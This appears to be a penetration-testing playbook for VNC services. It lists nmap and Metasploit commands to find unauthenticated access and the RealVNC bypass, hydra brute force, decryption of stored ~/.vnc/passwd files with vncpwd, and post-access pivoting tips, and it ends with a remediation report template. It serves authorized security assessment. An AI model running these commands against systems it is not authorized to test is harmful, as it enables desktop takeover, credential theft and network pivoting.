gabrielmoreira Pentesting VNC (port 5900/5901)
When to Use
- During authorized assessments when a VNC port is open (5800/5801 web, 5900/5901 RFB, or 5900+display)
- When testing for unauthenticated ("None" auth) VNC access to a desktop
- When testing for the RealVNC authentication bypass
- When you recover a
~/.vnc/passwdfile and need to decrypt the stored password - When validating weak/default VNC passwords via brute force
Quick Enumeration
# RFB version, auth types, and known bypasses
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
# vnc-info reports the RFB protocol version and supported security types
# vnc-title grabs the desktop title; realvnc-auth-bypass flags the bypass
# Check for "None" (no authentication) security type
msf> use auxiliary/scanner/vnc/vnc_none_auth
# Shodan-style discovery
# port:5900 RFB
Critical: Checks Most Often Missed
- None / no authentication — many VNC servers expose security type "None", granting full desktop control with zero credentials. Confirm with
vnc_none_authand connect directly. - RealVNC auth bypass — older RealVNC versions accept a null/insecure security type negotiation, bypassing the password entirely. Flagged by
realvnc-auth-bypass. - Weak 3DES-stored password —
~/.vnc/passwdstores the VNC password encrypted with a fixed, long-reversed 3DES key. If you can read the file, you can recover the cleartext withvncpwd. - 8-character password truncation — VNC passwords are limited to 8 characters, making them weak to brute force; mind the limit when supplying a wordlist.
- Web client (5800/5801) — a Java/HTTP VNC client may be exposed separately from the RFB port and can leak version/host info.
How to CONFIRM: no-auth is confirmed when auxiliary/scanner/vnc/vnc_none_auth reports the host accepts the None type, or vncviewer <IP>::5901 connects without prompting for a password. A bypass is confirmed when realvnc-auth-bypass returns VULNERABLE.
Workflow
Step 1: Enumerate (RFB version, auth types, title)
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5900,5901 <IP>
# Note the offered security types: 1 = None, 2 = VNC auth (DES challenge), etc.
Step 2: Authenticate (no-auth, bypass, brute force)
# Test unauthenticated access
msf> use auxiliary/scanner/vnc/vnc_none_auth
msf> set rhosts <IP>
msf> run
# Connect (no password if None auth)
vncviewer <IP>::5901
# Brute force the VNC password (8-char limit)
vncviewer -passwd passwd.txt <IP>::5901
msf> use auxiliary/scanner/vnc/vnc_login
hydra -P passwords.txt <IP> vnc
Step 3: Exploit / Extract (decrypt stored password)
# Recover cleartext from a stored ~/.vnc/passwd (3DES weak key)
git clone https://github.com/jeroennijhof/vncpwd
cd vncpwd && make
./vncpwd <vnc password file>
# The fixed 3DES key used to encrypt VNC passwords was reversed years ago,
# so any readable passwd file yields the cleartext password.
# Windows: use the equivalent vncpwd.exe tool.
Step 4: Post-access (desktop control, pivot)
# Once connected you have full keyboard/mouse control of the desktop:
# - read on-screen credentials, open terminals, browse the filesystem
# - reuse recovered VNC password against other hosts/services (password reuse)
# - leverage the desktop session to escalate or pivot deeper into the network
vncviewer <IP>::5901
Key Concepts
| Concept | Description |
|---|---|
| VNC | Virtual Network Computing; graphical desktop sharing |
| RFB protocol | Remote Frame Buffer; transmits screen updates and input events bidirectionally |
| Security type | Negotiated auth method: None (1), VNC auth (2), and vendor variants |
| VNC auth | DES challenge-response using the (8-char) VNC password |
| ~/.vnc/passwd | Stores the VNC password encrypted with a fixed, reversed 3DES key |
| Display number | Maps to port 5900 + display (e.g. :1 -> 5901) |
| RealVNC auth bypass | Flaw allowing the password step to be skipped via type negotiation |
Tools & Systems
| Tool | Purpose |
|---|---|
| nmap (vnc-* NSE) | RFB version, auth types, title, RealVNC bypass detection |
| Metasploit vnc_none_auth | Detect unauthenticated VNC access |
| Metasploit vnc_login | Brute-force VNC password |
| vncviewer | Connect to and control the remote desktop |
| vncpwd | Decrypt 3DES-stored VNC passwords from passwd files |
| hydra | Alternative VNC password brute force |
Common Scenarios
Scenario 1: Unauthenticated Desktop
vnc_none_auth reports the host accepts security type None. vncviewer <IP>::5900 opens a full desktop session with no credentials, exposing on-screen data and a terminal.
Scenario 2: Stored Password Recovery
A readable ~/.vnc/passwd is pulled from a compromised host. vncpwd passwd recovers the cleartext, which is reused to access the host's VNC desktop and other servers.
Scenario 3: RealVNC Bypass
realvnc-auth-bypass flags an old RealVNC server. The auth step is skipped during negotiation, granting unauthenticated control.
Scenario 4: Weak Password Brute Force
An 8-character VNC password falls quickly to vnc_login with a common-password list, yielding desktop access.
Output Format
## VNC Finding
**Service**: VNC (RFB)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:5900/5901
**Auth Type**: <None | VNC auth | RealVNC bypass>
### Summary
<What was found: no-auth access, weak/cracked password, decrypted stored password, bypass>
### Evidence
- Command: <nmap / vncviewer / vncpwd>
- Output: <security type, connection success, recovered password (redacted)>
### Access Obtained
- Full graphical desktop control as the logged-in user
- <on-screen secrets / reused credentials, if any>
### Recommendation
1. Require strong authentication; never expose security type "None"
2. Patch RealVNC/UltraVNC to remove known auth-bypass flaws
3. Tunnel VNC over SSH/VPN; do not expose 5900/5901 to untrusted networks
4. Restrict access by source IP and enable encryption where supported
5. Rotate VNC passwords and avoid reuse across hosts